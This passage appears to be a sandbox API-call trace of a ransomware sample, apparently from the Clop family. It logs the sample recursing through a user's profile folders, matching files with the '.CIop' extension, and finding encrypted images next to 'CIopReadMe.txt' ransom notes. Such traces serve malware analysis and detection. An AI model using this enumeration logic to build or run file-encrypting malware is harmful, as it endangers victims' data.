| out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\" [0138.510] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*" [0138.510] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.510] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0138.510] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0138.510] lstrlenW (lpString=".CIop") returned 5 [0138.510] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.510] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.510] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.510] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw" [0138.510] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*" [0138.510] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.510] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0138.510] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0138.510] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.510] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.510] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.510] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.510] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.510] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.511] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.511] lstrcmpW (lpString1="NetHood", lpString2="..") returned 1 [0138.511] lstrcmpW (lpString1="NetHood", lpString2=".") returned 1 [0138.511] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.511] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.511] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0138.511] SetErrorMode (uMode=0x1) returned 0x1 [0138.511] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0138.511] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" [0138.511] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" [0138.511] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*" [0138.511] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.511] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="NetHood" [0138.511] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0138.511] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.511] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.511] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.511] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0138.511] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*" [0138.511] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0138.511] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="NetHood" [0138.511] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0138.511] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0138.511] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" [0138.511] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\", lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" [0138.511] SetErrorMode (uMode=0x1) returned 0x1 [0138.511] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" [0138.511] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" [0138.511] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" [0138.511] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*" [0138.511] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.511] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0138.511] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0138.511] lstrlenW (lpString=".CIop") returned 5 [0138.511] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.511] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.511] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.512] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" [0138.512] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*" [0138.512] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0138.512] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0138.512] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0138.512] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0138.512] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.512] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.512] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.512] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.512] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.512] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.512] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.512] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.512] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.512] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.512] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.512] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.512] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.512] lstrcmpW (lpString1="OneDrive", lpString2="..") returned 1 [0138.512] lstrcmpW (lpString1="OneDrive", lpString2=".") returned 1 [0138.512] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.512] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.512] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0138.512] SetErrorMode (uMode=0x1) returned 0x1 [0138.512] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0138.512] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\" [0138.512] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\" [0138.512] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*" [0138.512] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.512] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="OneDrive" [0138.512] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="OneDrive" | out: lpString1="OneDrive") returned="OneDrive" [0138.512] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.512] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.512] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0138.512] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0138.512] lstrlenW (lpString="desktop.ini") returned 11 [0138.512] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.512] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.513] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0138.513] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0138.513] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*" [0138.513] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.513] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="OneDrive" [0138.513] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="OneDrive" | out: lpString1="OneDrive") returned="OneDrive" [0138.513] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.513] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.513] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.513] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.513] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.513] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.513] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.513] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0138.513] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0138.513] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0138.513] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0138.513] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0138.513] SetErrorMode (uMode=0x1) returned 0x1 [0138.513] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0138.513] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0138.513] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0138.513] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*" [0138.513] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0138.514] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="Pictures" [0138.514] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0138.514] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.514] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.514] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.514] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.514] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.514] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.514] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.514] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.514] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.514] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0138.514] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0138.514] lstrlenW (lpString="desktop.ini") returned 11 [0138.514] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.514] lstrcmpW (lpString1="MgyGAvvq5w6fl7AR1Hfa.bmp.CIop", lpString2="..") returned 1 [0138.514] lstrcmpW (lpString1="MgyGAvvq5w6fl7AR1Hfa.bmp.CIop", lpString2=".") returned 1 [0138.514] lstrlenW (lpString=".CIop") returned 5 [0138.514] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.514] lstrcmpW (lpString1="qp-3yc7D3FrGiW.jpg.CIop", lpString2="..") returned 1 [0138.514] lstrcmpW (lpString1="qp-3yc7D3FrGiW.jpg.CIop", lpString2=".") returned 1 [0138.514] lstrlenW (lpString=".CIop") returned 5 [0138.514] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.514] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.514] lstrcmpW (lpString1="vxT7Wz-UZ XFfNDp.png.CIop", lpString2="..") returned 1 [0138.514] lstrcmpW (lpString1="vxT7Wz-UZ XFfNDp.png.CIop", lpString2=".") returned 1 [0138.514] lstrlenW (lpString=".CIop") returned 5 [0138.514] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0138.514] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.514] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0138.514] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0138.514] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*" [0138.515] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e9f8 [0138.515] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="Pictures" [0138.515] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0138.515] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.515] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.515] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0138.515] lstrcmpW (lpString1="7B iYIRm", lpString2="..") returned 1 [0138.515] lstrcmpW (lpString1="7B iYIRm", lpString2=".") returned 1 [0138.515] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0138.515] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0138.515] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0138.515] SetErrorMode (uMode=0x1) returned 0x1 [0138.515] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0138.515] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0138.515] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0138.515] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*" [0138.515] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e6b8 [0138.515] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="7B iYIRm" [0138.515] lstrcpyW (in: lpString1=0x2dc7014, lpString2="7B iYIRm" | out: lpString1="7B iYIRm") returned="7B iYIRm" [0138.515] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.515] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.515] lstrcmpW (lpString1="4LAv.png.CIop", lpString2="..") returned 1 [0138.515] lstrcmpW (lpString1="4LAv.png.CIop", lpString2=".") returned 1 [0138.515] lstrlenW (lpString=".CIop") returned 5 [0138.515] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.515] lstrcmpW (lpString1="aClNMcka4 SH9Md3Hwo.png.CIop", lpString2="..") returned 1 [0138.515] lstrcmpW (lpString1="aClNMcka4 SH9Md3Hwo.png.CIop", lpString2=".") returned 1 [0138.515] lstrlenW (lpString=".CIop") returned 5 [0138.515] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0138.515] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.515] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.515] lstrlenW 